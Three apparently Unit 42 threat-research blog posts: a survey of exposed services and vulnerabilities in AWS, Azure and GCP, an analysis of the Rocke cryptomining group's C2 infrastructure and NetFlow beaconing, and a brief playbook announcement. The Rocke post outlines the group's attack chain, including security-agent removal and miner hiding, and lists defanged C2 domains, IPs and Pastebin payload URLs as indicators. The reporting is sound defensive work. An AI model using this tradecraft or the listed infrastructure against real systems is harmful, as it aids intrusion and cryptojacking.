Hunting the Public Cloud for Exposed Hosts and Misconfigurations

Posted on by Jay Chen

Executive Summary

This research explores the security landscape of the Internet-facing services hosted in Amazon AWS, Microsoft Azure and Google Cloud Platform. Public cloud is becoming increasingly popular and the reported total spending on cloud infrastructure grew 45.6% in 2018. Amazon AWS maintained its lead with a 31.3% share of the Cloud Service Provider (CSP) market, followed by Microsoft Azure with 16.5%, and Google Cloud Platform, with 9.5%. CSPs offer various “as-a-service” models that give businesses agility and flexibility to scale operations without worrying about the IT infrastructure. However, a single insecure configuration can put the entire infrastructure at risk.

We focused on evaluating public cloud from the publicly exposed hosts. We collected information including exposed services, service versions and service vulnerabilities to determine the security posture of each host. We also investigated the correlation between malicious IPs in public cloud and prior known vulnerabilities.Our analysis revealed that:

  • 47% of SSH servers on Azure may be vulnerable to brute-force attacks due to the "use password-login" option.
  • 32% of exposed public cloud hosts have SSH servers open.
  • 24% of exposed public cloud hosts have known vulnerabilities.
  • 50% of exposed public cloud vulnerabilities have been known for at least two years.
  • 61% of exposed public cloud hosts are still on TLSv1.1 or older versions (v1.2 and v1.3 were released in 2008 and 2018, respectively).

We also discovered evidence that attackers are using public cloud as a stepping stone to launch attacks. Cloud infrastructure is still considered more secure than on-premise infrastructure due to the significant resources that CSPs dedicate to maintaining and upgrading their infrastructure. AWS, Azure, and GCP each had less than 20 CVEs identified in 2018 as opposed to thousands of vulnerabilities found in Windows or Linux every year, according to the NIST National Vulnerability Database (NVD). However, there is no shortage of cloud security incidents across all CSPs. Examples include leaked voting machine passwords, the leak of Indian citizen records, and leaked user job profiles). Prior research from RedLock, NetSkope and McAfee showed that most cloud security incidents are attributed to misconfigurations by cloud customers, not the CSPs. While some security responsibilities have been gradually shifted from users to CSPs, users are always responsible for some security design and decisions. Secure cloud infrastructure can only be achieved when both CSPs and users fulfill their responsibilities.

This blog reviews the current state of the public cloud service providers, then provides details on exposed services, exposed vulnerabilities, and malicious IPs. We conclude with a set of open-source tools to help users secure their public cloud infrastructure.

A Glance at Public Cloud

CSPs offer various services that allow users to delegate infrastructure, operating systems, software platforms, and even functions to the cloud. Figure 1 shows the shared responsibility between users and cloud service provider. Delegating infrastructure to the cloud (Infrastructure as a service, or IaaS) gives users the highest control to manage their systems while delegating functions to the cloud (Functions as a Service, or FaaS) gives users the easiest way to run a piece of code without worrying about the platform, resilience, and scalability. This research shows that users make fewer security mistakes when more responsibilities are shifted to the cloud provider.

Figure 1. The “as-a-service” operation models.

As AWS, Azure, and GCP together account for more than 60% of cloud market share, this research focuses only on these three CSPs. AWS, Azure, and GCP currently respectively each owns 41.8 million, 14 million, and 7 million IPv4 addresses, based on a review of the IP range that each CSP publishes . These addresses are spread across multiple cloud services, as shown in Table 1. This table only shows AWS and Azure, since GCP has not published the IP blocks of its individual services. Note that the majority of this research was done by finding the exposed hosts in these IP blocks and analyzing the services running on them.

Table 1. Number of public IPs that AWS and Azure allocate for the cloud services

Exposed Services in Public Cloud

Whenever an application service is exposed to the entire internet, there is always a risk - no matter how secure the service. Some services - such as HTTP, POP3, and VPN - are designed to be open to the internet so that users can access them from anywhere. However, many application services don’t need to be wide open to the internet. For example, a database is typically accessed only by a few application servers from specific networks, and an SMB server is designed for sharing files within the same local area network. Opening these application services to the internet simply creates attack vectors into the system. While CSPs make it easier to deploy services to the internet, they also make it quicker to expose misconfigured or vulnerable services.

To find the hosts and services exposed on the public cloud, we queried Shodan and Censys for the IP blocks owned by AWS, Azure and GCP. We found 9.3 million AWS hosts, 1.5 million Azure hosts, and 2.5 million GCP hosts. Our searches focused on eight services that are generally not secure enough to expose to the entire internet. Table 2 shows the result of these searches. It is shocking to see that 32% of the exposed hosts in public cloud have open SSH services. Although SSH is one of the most secure protocols, it is still too risky to expose this powerful service to the entire internet. Any misconfiguration or weak/leaked credentials can lead to host compromise. CIS benchmarks suggest inbound traffic to SSH services should be restricted to a small set of hosts. Curious to how secure these SSH servers are, we scanned all 2.8 million U.S. based SSH servers hosted in public cloud.

To have strong security, SSH servers should only be authenticated with a public/private key pair, as opposed to password-based authentication, because they are vulnerable to brute-force attacks. Much to our surprise, almost 50% of the SSH servers on Azure have password login enabled while less than 5% had it enabled on AWS and GCP (Table 3). We thought it was more than a coincidence since the difference was so large, so we dug into Azure cloud to investigate how these SSH services are created. We quickly found the explanation: most SSH services on Azure Virtual Machines are configured during the VM creation process. Figure 2 shows a screenshot of the SSH configuration on Azure. Azure gives users two options: password authentication or public key authentication. It is logical to think that half of the users would choose password authentication, likely because they don’t know how the public key authentication works or how to create a key. Nevertheless, it is easy to come up with or reuse a password, but creating a public key requires significant extra steps, as described in this Azure documentation.

This same behavior was not observed in AWS or GCP environments because neither of them offers password login as an option. AWS generates a new key pair and lets the user download the private key before the VM is launched (Figure 3). GCP also creates a key pair automatically upon VM creation and manages the keys inside the Compute Engine (Figure 4). This finding shows how much the UI design can steer user behavior and potentially move the system to a less secure state.

Table 2. Ports and services discovered in public cloud

Table 3. SSH servers exposed in the U.S.

Figure 2. Azure Virtual Machine SSH configuration

Figure 3. AWS EC2 SSH configuration

Figure 4. Google Compute Engine SSH configuration

Vulnerabilities in Public Cloud

Within the exposed application services in public cloud, we identified 29 million vulnerabilities in AWS, 1.7 million vulnerabilities in Azure, and 4 million vulnerabilities in GCP. On average, each vulnerable host has 11 vulnerabilities. Interestingly, the top 10 vulnerabilities across all three CSPs are largely the same and OpenSSH and Http_Server are the only two products seen on the list, as shown in Table 4. This is because web application is the most common service (http/https) exposed to the internet and OpenSSH and Http_Server are the most widely used technologies behind web applications.

Table 4. Top 10 vulnerabilities in public cloud

When dissecting the vulnerabilities across all the cloud services, 99.8% of the vulnerabilities in AWS are from EC2 and 99.8% of the vulnerabilities in Azure are from Azure Virtual Machine. AWS EC2 and Azure Virtual Machines are both IaaS that let users deploy and manage the entire operating systems. The unfortunate consequence is that most users don’t prioritize the security and are unaware of the vulnerabilities in their systems.

Figure 5 shows the number of hosts with different numbers of vulnerabilities in public cloud. The horizontal axis is the number of vulnerabilities and the vertical axis is the number of hosts. 25% of the AWS hosts, 8% of the Azure hosts, and 27% of the GCP hosts are found vulnerable. The majority of the vulnerable hosts have 1-10 vulnerabilities.

Figure 5. The number of hosts with different numbers of vulnerabilities in AWS, Azure, and GCP

Figure 6 shows the number of vulnerabilities within public cloud based on year of CVE release and severity rating. The horizontal axis is the CVE year, the vertical axis is the number of vulnerabilities and the colors represent CVSS v2 severity. As illustrated within the figure, 70% of the vulnerabilities are rated medium severity and 17% are rated high severity. 18% of the vulnerabilities in AWS, 21% in Azure and 12% in GCP are older than five years. These old vulnerabilities imply the number of legacy or end-of-life applications that are still running in public cloud. Because patching these old vulnerabilities may require a revamp of the applications, developers usually avoid opening this can of worms.

Figure 6. Number of vulnerabilities with different CVE year in AWS, Azure, and GCP

Secure Socket Layer (SSL) and Transport Layer Security (TLS) are fundamental to the modern web application security. They provide communication privacy and data integrity to the computer network. Many vulnerabilities were discovered in earlier versions of the protocols and a few of the severe vulnerabilities allow man-in-the-middle attacks. After examining all the exposed hosts with SSL/TLS configured, we found more than 61% were still using protocols older than TLS v1.2, as shown in Figure 7.

This number is worrisome as it’s been almost ten years since TLS v1.2 was released and both TLSv1.0 and TLSv1.1 are scheduled to retire in 2020. It is again not surprising to see that most of these outdated protocols are maintained by IaaS owners who are often behind the patching and update cycle.

ChartFigure 7. Adoption rate of different TLS/SSL versions in public cloud

Threat Actors from Public Cloud

Public cloud not only simplifies developers and IT's work but also provides a platform for malicious actors to launch or pivot attacks. The vulnerable application services in public cloud create attack vectors into the cloud infrastructure. From an attacker's perspective, compromising a public cloud instance is not too different from compromising an on-premise server. However, knowing that an instance is hosted on a specific CSP, an attacker can better weaponize the exploit to evade surveillance. There is also a better chance that a compromised public cloud instance has higher computation power, in case of a crypto-jacking attack. Unit 42 has uncovered evidence that malicious actors are developing malware targeting public cloud infrastructure. To understand the problem, researchers analyzed the malicious IPs in 2018 from Facebook Threat Exchange. Out of the 16,764 malicious IPs, 985 originated from AWS, 109 originated from Azure, and 34 originated from GCP. A total of 7% of the reported IPs were from one of the three CSPs.

It is unclear whether these malicious IPs were hosts compromised or created by attackers. We assume that hosts with more vulnerabilities have a higher chance of being compromised. To validate this assumption, we checked the vulnerabilities of the reported IPs during the time of their malicious activities. Figure 8 shows the vulnerability statistics of the malicious public cloud IPs. The left plot is the percentage of IPs with known vulnerabilities. The right plot is the average number of vulnerabilities found on each IP. Out of the 1,128 malicious public cloud IPs, 60% have known vulnerabilities with an average of 28 vulnerabilities per host. These numbers are statistically significant compared to the fact that only 24% of the exposed public cloud hosts are found with vulnerabilities with an average of11 vulnerabilities per host. Based on these numbers, there is a high chance that these vulnerable hosts were compromised and used for malicious activities. Finally, we looked for the malicious IPs that are associated with a high number of short-lived domain names. Short-lived domain names are a common characteristic of malicious hosts. We found that 20% of the malicious public cloud IPs are associated with more than 55 domain names within 12 months. The implication of these numbers is that public cloud is becoming a stepping stone for launching attacks.

Figure 8. Vulnerabilities in the malicious public cloud hosts

Conclusion - Secure Your Public Cloud

Public cloud adoption continues to accelerate as it plays an increasingly significant part in next-generation IT. Although Amazon launched AWS more than 13 years ago, CSPs started to focus more on security in recent years. About 75% of allAmazon cloud security products were launched within the last three years.

In public cloud, security is a shared responsibility between the CSP and the users. As there are so many cloud services in public cloud, most of the users are probably unaware of their security responsibilities. CSPs not only should secure their cloud services but also set up guardrails to prevent and detect insecure user behavior. The findings in this study reiterate the importance of “security by default.” If there were no insecure options, the users could not have made insecure decisions. If CSPs proactively monitored for insecure user behavior and alerted users with actionable remediation, there would not have been so many exposed services.

There are, however, still designs and decisions for which users should be responsible. Users need to have minimal security awareness to work in the cloud. Although Function-as-a-Service removes a lot of maintenance burden from the users, developers still need to write the code and assign proper permission to each function. If new vulnerabilities are found in the libraries that the functions use, only the developer can patch and update the source code. If CSP alerts an exposed SSH service and recommends a firewall configuration to restrict inbound traffic, only the system admins know what IPs the firewall should allowlist. These trivial tasks are too often neglected, which can lead to catastrophic outcomes. The sheer volume of security incidents caused by weak credentials or exposed databases have numbed the security community. Yet there is no sign that the number of related security incidents is slowing down. Different organizations simply repeat the same mistakes at different CSPs.

Perfect security is almost impossible, but one should always conduct due diligence to minimize the chance of compromise. Thanks to the open-source community, there are plenty of free tools to simplify a complex job. These tools that can help users bridge the security gap in their cloud infrastructure.

Vulnerability scanners: Developers should continuously scan their code for known vulnerabilities. Prisma Scan, Clair, OpenSCAP, and OpenVAS can identify the vulnerable packages in your system.

Cloud infrastructure auditing: System administrators should continuously audit their cloud infrastructure and detect misconfiguration. Prisma IaC Scanner, ScountSuit, and CloudSploit can identify potentially misconfigured components in your cloud infrastructure.

Exposed hosts and services monitoring: System administrators can monitor the IP blocks that they own from the internet. Shodan and Censys are IoT search engines that periodically scan the entire internet.

 

Rocke'in the NetFlow

Posted on by Nathaniel Quist

Executive Summary

Unit 42 spent six months researching the China-based cybercrime group Rocke, which is the best-known threat actor engaged in cryptomining operations targeting the cloud. We released high-level results from our investigation of Rocke in our recent cloud threat report. This research report provides a deep dive into our investigation of Rocke, which concluded that the group is able to conduct operations with little interference and limited detection risk.

By analyzing NetFlow data from December 2018 to June 16, 2019, we found that 28.1% of the cloud environments we surveyed had at least one fully established network connection with at least one known Rocke command-and-control (C2) domain. Several of those organizations maintained near daily connections. Meanwhile, 20% of the organizations maintained hourly heartbeats consistent with Rocke tactics, techniques, and procedures (TTPs).

The group has also released a new tool called Godlua, which could function as an agent, allowing the group’s actors to perform additional scripted operations, including denial of service (DoS) attacks, network proxying, and two shell capabilities. Unit 42 also discovered network traffic identification patterns within NetFlow traffic that provide unique insight into Rocke TTPs and how defenders can develop detection capabilities.

Intro to Rocke

The activities of Rocke, aka the Iron Group, SystemTen, Kerberods/Khugepageds, and even ex-Rocke, were originally reported in August 2018. Researchers have since blogged on its use of the Golang programming language and the new backdoor, Godlua. There is an operational blog mapping Rocke operations to the MITRE ATT&CK framework. Unit 42 has also published blogs on the group’s Xbash ransomware tool and its cloud security evasion and cryptomining techniques.

Rocke was initially associated with ransomware campaigns through the use of its Linux-focused Xbash tool, a data-destruction malware similar in functionality to NotPetya. NotPetya used the EternalBlue exploit to propagate across a network. Xbash performed lateral movement by leveraging an organization’s unpatched vulnerabilities and use of weak passwords, which potentially limited its overall effectiveness. When Rocke compromised an organization, it demanded that victims pay 0.2, 0.15, or 0.02 bitcoin (BTC) to restore lost data. However, Rocke was unable to restore any data since Xbash deleted database tables prior to demanding the ransom. At the time of Unit 42’s reporting, Rocke’s BTC wallet contained 0.964 BTC (equivalent to US$10,130 today) from just 48 unique transfers.

Rocke’s Cryptomining Operation

Like Rocke’s Xbash malware, the group’s first cryptomining operations were written in Python and used Pastebin or GitHub as the code repository from which the first-stage payload was downloaded. As of March 12, 2019, Rocke actors began to also use Golang. The first-stage payload directed the victim system to connect to a hardcoded Rocke domain or IP address, which would trigger the download of the second-stage payload.

Unit 42 has observed a distinctive 12-step operation style, which appears to have remained consistent since Rocke was first reported:

  • Actor uploads first payload to a third-party site (e.g., Pastebin, GitHub)
  • Entices victim to navigate to Pastebin/GitHub (e.g., spear phishing)
  • Exploits known vulnerability (e.g., Oracle WebLogic, Adobe ColdFusion, Apache Struts)
  • Victim downloads backdoor (e.g., Shell Scripts, JavaScript Backdoor)
  • Victim runs the first payload via Python or Golang script and connects to C2 server
  • Downloads and executes second payload script, gaining administrative access to the system
  • Establishes persistence via cron job commands
  • Searchers for and kills previously installed cryptomining processes
  • Adds “IPtables” rules to block future cryptomining processes
  • Uninstalls agent-based cloud security tools (e.g., Tencent Cloud, Alibaba Cloud)
  • Downloads and installs Monero mining software
  • Rootkits XMRig mining processes from Linux “ps” using “libprocesshider”

Rocke Infrastructure

As of the time of this writing, eight domains have been tied to Rocke C2 operations through hardcoded IP addresses, URL addresses, or domain registration connections (e.g., WHOIS registrant email address). The following chart lays out how the domains fit into the Rocke group infrastructure (see Table 1).

Domain Rocke Connection Connection Value Resolved IP(s)
sowcar[.]com Hardcode IOC 4592248@gmail[.]com 23.234.4[.]151

23.234.4[.]153

27.221.28[.]231

27.221.54[.]252

36.103.236[.]221

36.103.247[.]121

36.248.26[.]205

42.202.141[.]230

42.236.125[.]84

42.56.76[.]104

43.242.166[.]88

59.83.204[.]14

60.167.222[.]122

61.140.13[.]251

104.31.68[.]79

104.31.69[.]79

113.142.51[.]219

113.200.16[.]234

116.211.184[.]212

118.213.118[.]94

118.25.145[.]24

122.246.6[.]183

125.74.45[.]101

150.138.184[.]119

182.118.11[.]126

182.118.11[.]193

182.247.250[.]251

182.247.254[.]83

183.224.33[.]79

211.91.160[.]159

211.91.160[.]238

218.75.176[.]126

219.147.231[.]79

221.204.60[.]69
thyrsi[.]com WHOIS Registration 4592248@gmail[.]com 23.234.4[.]151

23.234.4[.]153

103.52.216[.]35

104.27.138[.]223

104.27.139[.]223

205.185.122[.]229

209.141.41[.]204
w2wz[.]cn WHOIS Registration 4592248@gmail[.]com 36.103.236[.]221

36.103.247[.]121

42.202.141[.]230

58.215.145[.]137

58.216.107[.]77

58.218.208[.]13

60.167.222[.]122

61.140.13[.]251

113.142.51[.]219

113.96.98[.]113

116.211.184[.]212

118.213.118[.]94

118.25.145[.]241

121.207.229[.]203

122.246.20[.]201

125.74.45[.]101

140.249.61[.]134

150.138.184[.]119

182.118.11[.]193

182.247.250[.]251

218.75.176[.]126

219.147.231[.]79

222.186.49[.]224
baocangwh[.]cn WHOIS Registration 4592248@qq[.]com 103.52.216[.]35

104.18.38[.]253

104.18.39[.]253

104.31.92[.]26

104.31.93[.]26

119.28.48[.]240

205.185.122[.]229
z9ls[.]com WHOIS Registration 4592248@qq[.]com 103.52.216[.]35

104.27.134[.]168

104.27.135[.]168

104.31.80[.]164

104.31.81[.]164

172.64.104[.]10

172.64.105[.]10

205.185.122[.]229
gwjyhs[.]com Hardcoded Domain gwjyhs[.]com 103.52.216[.]35

104.27.138[.]191

104.27.139[.]191

205.185.122[.]229
heheda[.]tk Hardcode IP or Domain 104.238.151.101

c.heheda[.]tk

d.heheda[.]tk

dd.heheda[.]tk

 104.18.58[.]79

104.18.59[.]79

104.238.151[.]101

195.20.40[.]95

198.204.231[.]250
cloudappconfig[.]com Hardcode IP or Domain 104.238.151.101

c.cloudappconfig[.]com

img0.cloudappconfig[.]com

Img1.cloudappconfig[.]com

img2.cloudappconfig[.]com

 43.224.225[.]220

67.21.64[.]34

104.238.151[.]101

198.204.231[.]250
systemten[.]org Hardcoded Domain systemten[.]org 104.248.53[.]213

104.31.92[.]233

104.31.93[.]233

134.209.104[.]20

165.22.156[.]147

185.193.125[.]146

Table 1. Known Rocke domains

Rocke New Attack Vector

The TTPs listed in the previous section do not take into account a potential third stage to Rocke operations. Prior to the report An Analysis of Godlua Backdoor, Rocke malware appeared to perform a single operational function upon compromised cloud systems. The Godlua report cited malware samples that contained similar TTPs to those of Rocke. Upon further research, Unit 42 identified that not only do the TTPs match, but there are hardcoded domains, URLs, and an IP address that overlap with previously reported Rocke malware hardcoded values. This connection was made possible through the findings of an incident investigation posting on the r/LinuxMalware subreddit and the upload of the findings, including malware sample metadata, to GitHub. The author of the Reddit post operates the nonprofit organization MalwareMustDie, a white hat organization devoted to the reduction of internet malware. Unit 42 researchers analyzed four of the binaries listed in the Reddit thread and confirmed the hardcoded Rocke domain systemten[.]org contained within the samples, which was stated in the Reddit thread. The samples also contained hardcoded links to the Pastebin URLs that overlap with known Rocke reporting:

  • hxxps://pastebin[.]com/raw/HWBVXK6H
  • hxxps://pastebin[.]com/raw/60T3uCcb
  • hxxps://pastebin[.]com/raw/rPB8eDpu
  • hxxps://pastebin[.]com/raw/wR3ETdbi
  • hxxps://pastebin[.]com/raw/Va86JYqw
  • hxxps://pastebin[.]com/raw/Va86JYqw

As seen within the Godlua blog, the IP address 104.238.151[.]101 and the URLs d.heheda[.]tk, c.heheda[.]tk, and dd.heheda[.]tk were found to be hardcoded within the report’s findings. The incident response thread posted to Reddit pertaining to the Rocke group also found that C2 connections were being sent to the three heheda[.]tk domains, which resolved to the IP address 104.238.151[.]101, also cited in the Godlua report. Additionally, the samples contained hardcoded values for the known Rocke domains of sowcar[.]com, z9ls[.]com, baocangwh[.]cn, gwjyhs[.]com, and w2wz[.]cn. See Figure 1 for how the identified indicators of compromise (IoCs) connect known Rocke domains with the IoCs pulled from the Godlua and Reddit thread IoC reporting.

Figure 1. Rocke domain connections to Godlua and Reddit thread reporting

What makes the Godlua samples intriguing is the evidence that Rocke has added DoS operations to the group’s toolkit. The report delivers evidence that Rocke has added a third-stage malware component that performs a third C2 request to either c.heheda[.]tk or c.cloudappconfig[.]com and thereby downloads a LUA script called Godlua. The malware appears to provide a modular functionality to Rocke’s operational playbook. In addition to the DoS feature, the malware introduces the following new features:

  • HANDSHAKE
  • HEARTBEAT
  • LUA
  • SHELL
  • UPGRADE
  • QUIT
  • SHELL2
  • PROXY

The Godlua report also provided evidence that Rocke has added LUA switch functionality. The report states actors performed a DoS attack against the domain www.liuxiaobei[.]com. At the time of this writing, this domain does not resolve to any known system. It is currently unknown what functionality the other features of the Stage 3 malware accomplish. However, with options like “Shell,” “Shell2,” “Upgrade,” and “Proxy,” it is possible this malware is the beginning of a modular system agent that allows Rocke actors additional flexibility to perform cyber operations outside of cryptomining or data destruction.

Finding Rocke in the NetFlow

As of the time of this writing, Unit 42 researchers found 28.1% of cloud environments surveyed had at least one active communication session with known Rocke C2 domains. These connections occurred almost daily in some organizations from at least December 2018 until the time of this writing. Identification was made possible via the capture of NetFlow communications at the organization/cloud edge.

Unit 42 researchers discovered Rocke communications by analyzing Rocke’s TTP patterns, resolving the known Rocke domains to IP addresses used during the specified timeframe, and querying network traffic against these resolved IP address as well as the hardcoded IP address linked to Rocke, 104.238.151[.]101.

Hardcoded IP addresses provide strong connections to known malicious network traffic originating from an organization’s network. At the time of this writing, 104.238.151[.]101 is known to have resolved to the following URLs since January 1, 2019:

  • c.cloudappconfig[.]com
  • d.cloudappconfig[.]com
  • f.cloudappconfig[.]com
  • img0.cloudappconfig[.]com
  • img2.cloudappconfig[.]com
  • v.cloudappconfig[.]com
  • c.heheda[.]tk
  • d.heheda[.]tk
  • dd.heheda[.]tk

These URLs are consistent with those reported in both the Godlua and Reddit reporting, signifying that any connection to this IP address should be considered malicious. Unit 42 researchers identified 411 unique connections from four monitored organizations that made eight or more fully established network connections to the IP address 104.238.151[.]101. These connections only persisted with each organization for a short period of time. The longest delta between first-seen connection and last-seen connection was five days for Organization 1. The shortest delta resulting in a single connection was one hour for Organization 4 (see Table 2).

Organization Destination IP Total Connections Earliest Time Latest Time
1 104.238.151[.]101 76 4/12/19 3:00 AM 4/17/19 8:00 AM
2 104.238.151[.]101 160 4/13/19 7:00 AM 4/15/19 3:00 PM
3 104.238.151[.]101 167 4/13/19 7:00 AM 4/16/19 10:00 AM
4 104.238.151[.]101 8 5/10/19 9:00 PM 5/10/19 9:00 PM

Table 2. Organization connections to hardcoded IP 104.238.151[.]101

Extrapolating from 104.238.151[.]101, these four organizations also connected to other known Rocke domains. Organization 1 connected to three Rocke domains between April 12 and May 31, 2019, with 290 unique connections. Organization 4 connected to seven domains between March 20 and May 15, 2019, with 8,231 unique connections. As is evident in Table 3, the four organizations connect to one or more of the seven known Rocke domains during the same timeframe as the organization’s connections to the hardcoded IP address 104.238.151[.]101. This strongly favors the connection between the domains heheda[.]tk and cloudappcloudconfig[.]com as Rocke domains and the usage of Rocke’s third-stage malware being available during this same time period.

Organization Destination Domain Destination IP Total Connections Earliest Time Latest Time
1 Heheda[.]tk |

cloudappconfig[.]com

 104.238.151[.]101 76 4/12/19 3:00 AM 4/17/19 8:00 AM
sowcar[.]com 125.74.45[.]101 4 4/12/19 2:00 PM 4/12/19 2:00 PM
27.221.54[.]252 2 4/13/19 4:00 AM 4/13/19 4:00 AM
systemten[.]org 104.248.53[.]213 202 4/10/19 12:00 PM 5/31/19 6:00 PM
w2wz[.]cn 113.96.98[.]113 2 4/12/19 2:00 PM 4/12/19 2:00 PM
125.74.45[.]101 4 4/12/19 2:00 PM 4/12/19 2:00 PM
1 Total 290
2 baocanwh[.]cn 104.31.92[.]26 8 4/25/19 3:00 AM 4/25/19 3:00 AM
heheda[.]tk 104.18.58[.]79 26 4/14/19 6:00 AM 4/15/19 3:00 PM
heheda[.]tk 104.18.59[.]79 22 4/14/19 6:00 AM 4/15/19 2:00 PM
Heheda[.]tk |

cloudappconfig[.]com

 104.238.151[.]101 160 4/13/19 7:00 AM 4/15/19 2:00 PM
sowcar[.]com 104.31.68[.]79 77 3/20/19 11:00 PM 4/3/19 4:00 AM
104.31.69[.]79 70 3/20/19 7:00 AM 4/10/19 9:00 AM
125.74.45[.]101 6 4/12/19 1:00 PM 4/12/19 2:00 PM
27.221.54[.]252 6 4/13/19 4:00 AM 4/13/19 4:00 AM
systemten[.]org 104.248.53[.]213 92 4/11/19 5:00 PM 4/15/19 3:00 PM
w2wz[.]cn 113.96.98[.]113 9 4/12/19 2:00 PM 4/12/19 6:00 PM
122.246.20[.]201 8 4/22/19 7:00 AM 4/22/19 8:00 AM
125.74.45[.]101 6 4/12/19 1:00 PM 4/12/19 2:00 PM
z9ls[.]com 104.31.80[.]164 2 4/14/19 11:00 AM 4/14/19 11:00 AM
104.31.81[.]164 4 4/15/19 3:00 AM 4/15/19 1:00 PM
2 Total 496
3 heheda[.]tk 104.18.58[.]79 14 4/14/19 11:00 AM 4/16/19 10:00 AM
heheda[.]tk 104.18.59[.]79 14 4/14/19 11:00 AM 4/16/19 10:00 AM
Heheda[.]tk |

cloudappconfig[.]com

 104.238.151[.]101 167 4/13/19 7:00 AM 4/16/19 10:00 AM
sowcar[.]com 104.31.68[.]79 2 4/10/19 9:00 AM 4/10/19 9:00 AM
systemten[.]org 104.248.53[.]213 214 4/10/19 9:00 AM 4/19/19 9:00 AM
z9ls[.]com 104.31.80[.]164 106 4/14/19 9:00 AM 4/18/19 3:00 AM
104.31.81[.]164 108 4/14/19 9:00 AM 4/18/19 3:00 AM
3 Total 625
4 baocanwh[.]cn 104.18.38[.]253 136 4/26/19 9:00 PM 4/27/19 3:00 PM
104.18.39[.]253 152 4/26/19 10:00 PM 4/28/19 3:00 AM
104.31.92[.]26 184 4/22/19 9:00 AM 4/26/19 6:00 PM
104.31.93[.]26 170 4/22/19 9:00 AM 4/26/19 6:00 PM
119.28.48[.]240 176 4/27/19 1:00 PM 4/28/19 10:00 AM
gwjyhs[.]com 104.27.138[.]191 256 4/28/19 11:00 AM 5/9/19 10:00 AM
104.27.139[.]191 256 4/28/19 10:00 AM 5/12/19 5:00 PM
Heheda[.]tk |

cloudappconfig[.]com

 104.238.151[.]101 8 5/10/19 9:00 PM 5/10/19 9:00 PM
sowcar[.]com 104.31.68[.]79 437 3/20/19 7:00 AM 4/10/19 2:00 AM
104.31.69[.]79 441 3/20/19 2:00 PM 4/10/19 2:00 AM
27.221.54[.]252 8 4/13/19 4:00 AM 4/13/19 4:00 AM
systemten[.]org 104.31.93[.]233 4 4/5/19 2:00 AM 4/5/19 3:00 AM
104.31.92[.]233 4 4/5/19 2:00 AM 4/5/19 3:00 AM
104.248.53[.]213 4761 4/3/19 4:00 AM 5/15/19 1:00 AM
thyrsi[.]com 103.52.216[.]35 178 4/27/19 8:00 AM 5/10/19 1:00 PM
w2wz[.]cn 118.25.145[.]241 12 4/13/19 5:00 AM 4/13/19 9:00 AM
z9ls[.]com 104.31.80[.]164 522 4/13/19 9:00 AM 4/21/19 2:00 PM
104.31.81[.]164 526 4/13/19 6:00 AM 4/21/19 2:00 PM
4 Total 8231
Grand Total 9642

Table 3. Comparison of all Rocke domain connections with IP 104.238.151[.]101

Unit 42 researchers extrapolated the investigation another level and identified all visible connections from all monitored organizations to all known Rocke domains. The researchers found that 28.1% of cloud environments contained at least one fully established network connection with a known Rocke domain. The earliest witnessed connection took place on December 4, 2018, and continued through at least June 10, 2019, with 146 unique connections to the domains sowcar[.]com and w2wz[.]cn during that time frame.

Rocke’s Network Traffic Pattern

Finally, Unit 42 researchers attempted to identify if the initial payload downloaded from Pastebin could be identified with the NetFlow data. Researchers found that a total of 50 organizations made network connections to Pastebin. Of these 50 organizations, eight were found to have made network connections to Pastebin within the same hour as connections to Rocke domains. Since NetFlow traffic only allows for a granularity capability of one hour, and given the lack of full packet capture to confirm the nature of the network connection, it is impossible to positively identify precisely what time an organization was compromised. However, these occurrences point to key timeframes where full packet captures, if available, should be investigated further.

A distinct pattern emerges when viewing how Rocke network traffic appears within NetFlow data (see Figure 2). First, a connection is established with Pastebin, followed by a connection to a Rocke domain. As you can see from the image, the pattern repeats on an hourly basis, which is another indicator of beaconing capabilities and of the presence of the Stage 3 Rocke payload, which is already installed on the cloud system. Additionally, Figure 2 displays the unique occurrence of the source system connecting to Pastebin, then connecting to the known Rocke domains, z9ls[.]com, and systemten[.]org, connecting to the hardcoded IP address 104.238.151[.]101 in the same time frame. This pattern is indicative of a beaconing, or a heartbeat style of activity, which is a capability within the third-stage malware’s feature set.

Figure 2. Unique Rocke NetFlow pattern

Mitigation Strategies

To mitigate Rocke activities within a cloud environment, the following actions are recommended:

  • Update all cloud system templates with the latest patches and version updates.
  • Cycle all cloud systems to use the latest patched and updated cloud template.
  • Purchase and configure a cloud monitoring product that includes checks on compliance, network traffic, and user behavior.
  • Review cloud network configurations, security policies, and groups to ensure they meet current compliance requirements.
  • Use a cloud container vulnerability scanner.
  • Update all threat intelligence feeds providing domain or IP denylisting indicators.
  • Purchase or subscribe to Palo Alto Networks MineMeld threat feed, or use Palo Alto Networks Next-Generation Firewalls, as these options are configured to block known Rocke domains and IP connections.
  • Investigate cloud network traffic for connections to known malicious domains or IPs.
  • Investigate cloud network traffic for beacon-style egress traffic in your organization’s cloud environment.

Conclusion

Rocke, which primarily targets public cloud infrastructure for criminal gain, continues to evolve its tools and take advantage of poorly configured cloud infrastructures using vulnerabilities released in 2016 and 2017. The group can gain administrative access to cloud systems using malware that is able to remain hidden from basic investigations. Compromised systems then perform predictable and detectable network actions to known Rocke hardcoded IP addresses or Rocke-owned domains.

Palo Alto Networks customers are protected as follows:

  • The C2 domains listed in this blog are identified as malicious by our PAN-DB URL Filtering.
  • All illegitimate tools uploaded to the webshells are identified as malicious by WildFire and Traps.
  • ELF and PE format malware signatures have been released via antivirus.
  • All C2 domains have been covered by PAN-DB URL Filtering.

AutoFocus customers can investigate this activity with the following tags:

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicators of Compromise

Domains

sowcar[.]com

thyrsi[.]com

w2wz[.]cn

baocangwh[.]cn

z9ls[.]com

gwjyhs[.]com

heheda[.]tk

cloudappconfig[.]com

systemten[.]org

IPs

43.224.225[.]220

67.21.64[.]34

103.52.216[.]35

104.248.53[.]213

104.238.151[.]101

198.204.231[.]250

205.185.122[.]229

Hashes

1608899ff3bd9983df375fd836464500f160f6305fcc35cfb64abbe94643c962

28f92f36883b69e281882f19fec1d89190e913a4e301bfc5d80242b74fcba6fe

a84283095e0c400c3c4fe61283eca6c13dd0a6157a57adf95ae1dcec491ec519

6797018a6f29ce3d447bd3503372f78f9513d4648e5cd3ab5ab194a50c72b9c4

 

Unveiling 11 New Adversary Playbooks

Posted on by Unit 42

Today, Unit 42 released 11 new Adversary Playbooks as part of our mission to provide actionable threat intelligence. We use Playbooks to organize the tools, techniques, and procedures (TTPs) that an adversary uses into a structured format that can easily be shared and built upon. All of the Playbooks we have released can be accessed through our Playbook Viewer.

